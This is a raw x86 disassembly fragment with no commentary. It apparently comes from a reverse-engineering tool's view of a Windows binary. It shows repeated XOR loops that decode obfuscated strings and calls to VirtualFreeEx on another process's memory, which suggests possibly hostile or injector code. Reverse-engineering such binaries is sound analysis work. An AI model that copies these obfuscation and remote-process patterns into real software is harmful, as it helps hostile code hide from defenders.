pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x848]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x848], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x844]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x844], xmm1
add ecx, 8
cmp ecx, 0x20
jl 0x465990
jmp 0x465add
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x81c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x81c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x848], cl
inc edx
mov dword [ebp - 0x81c], edx
cmp edx, 0x20
jl 0x465aa0
lea eax, [ebp - 0x848]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 8
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
lea eax, [ebp - 0x898]
mov dword [ebp - 4], 0x19
push eax
mov ecx, 0x49032c
call fcn.00461df0
lea ecx, [ebp - 0x898]
mov dword [ebp - 4], 0xffffffff
call fcn.00444c10
push 0x8000
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call esi
test eax, eax
jne 0x465d7f
movups xmm0, xmmword [0x4859e8]
mov ax, word [0x485a10]
xor edx, edx
cmp dword [0x4931b8], 2
movups xmmword [ebp - 0x854], xmm0
mov word [ebp - 0x82c], ax
movups xmm0, xmmword [0x4859f8]
mov dword [ebp - 0x87c], edx
movups xmmword [ebp - 0x844], xmm0
movq xmm0, qword [0x485a08]
movq qword [ebp - 0x834], xmm0
jl 0x465cf0
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x854]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x854], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x850]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x850], xmm1
add edx, 8
cmp edx, 0x28
jl 0x465bd1
mov dword [ebp - 0x87c], edx
cmp edx, 0x2a
jge 0x465d2d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x854], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0x2a
jl 0x465cf0
lea eax, [ebp - 0x854]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 8
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
lea eax, [ebp - 0x898]
mov dword [ebp - 4], 0x1a
push eax
mov ecx, 0x49032c
call fcn.00461df0
lea ecx, [ebp - 0x898]
mov dword [ebp - 4], 0xffffffff
call fcn.00444c10
push 0x8000
push 0
push dword [ebp - 0x8d0]
push edi
call esi
test eax, eax
jne 0x465fc8
movups xmm0, xmmword [str.gp_q_r]
mov eax, dword [0x485a3c]
xor edx, edx
cmp dword [0x4931b8], 2
movups xmmword [ebp - 0x854], xmm0
mov dword [ebp - 0x82c], eax
movups xmm0, xmmword [0x485a24]
mov dword [ebp - 0x87c], edx
movups xmmword [ebp - 0x844], xmm0
movq xmm0, qword [0x485a34]
movq qword [ebp - 0x834], xmm0
jl 0x465f40
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x854]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x854], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x850]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x850], xmm1
add edx, 8
cmp edx, 0x28
jl 0x465e20
mov dword [ebp - 0x87c], edx
cmp edx, 0x2c
jge 0x465f7d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x854], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0x2c
jl 0x465f40
lea eax, [ebp - 0x854]
push eax
lea eax, [ebp - 0x818]
push eax
call fcn.00461e50
add esp, 8
lea eax, [ebp - 0x818]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
lea eax, [ebp - 0x898]
mov dword [ebp - 4], 0x1b
push eax
mov ecx, 0x49032c
call fcn.00461df0
lea ecx, [ebp - 0x898]
call fcn.00444c10
mov al, 1
jmp 0x46641b
mov ax, word [0x485778]
xor edx, edx
cmp dword [0x4931b8], 2
movups xmm0, xmmword [str.gC__S]
mov word [ebp - 0x884], ax
mov al, byte [0x48577a]
movups xmmword [ebp - 0x894], xmm0
mov byte [ebp - 0x882], al
mov dword [ebp - 0x87c], edx
jl 0x466170
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x894]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x894], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x890]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x890], xmm1
add edx, 8
cmp edx, 0x10
jl 0x466050
mov dword [ebp - 0x87c], edx
cmp edx, 0x13
jge 0x4661ad
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x894], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0x13
jl 0x466170
lea eax, [ebp - 0x894]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 8
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
lea eax, [ebp - 0x898]
mov dword [ebp - 4], 0x11
push eax
mov ecx, 0x49032c
call fcn.00461df0
lea ecx, [ebp - 0x898]
call fcn.00444c10
mov edi, dword [ebp - 0x8cc]
jmp 0x463a39
movups xmm0, xmmword [str._C_PQFE]
movups xmmword [ebp - 0x8a0], xmm0
movups xmm0, xmmword [str.__:0e____pki_DOCTQG_ZX]
movups xmmword [ebp - 0x890], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x4663cd
xor edx, edx
cmp dword [0x4931b8], 2
mov dword [ebp - 0x81c], edx
jl 0x466390
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
xor ecx, ecx
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov edx, dword [ebp - 0x8c0]
movd xmm7, eax
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x8a0]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x8a0], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x89c]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x89c], xmm1
add ecx, 8
cmp ecx, 0x20
jl 0x466282
jmp 0x4663cd
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x81c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x81c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x8a0], cl
inc edx
mov dword [ebp - 0x81c], edx
cmp edx, 0x20
jl 0x466390
push esi
lea eax, [ebp - 0x8a0]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 0xc
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
mov dword [ebp - 4], 0x10
lea eax, [ebp - 0x898]
mov ecx, 0x49032c
push eax
call fcn.00461df0
lea ecx, [ebp - 0x898]
call fcn.00444c10
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00473fd7
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret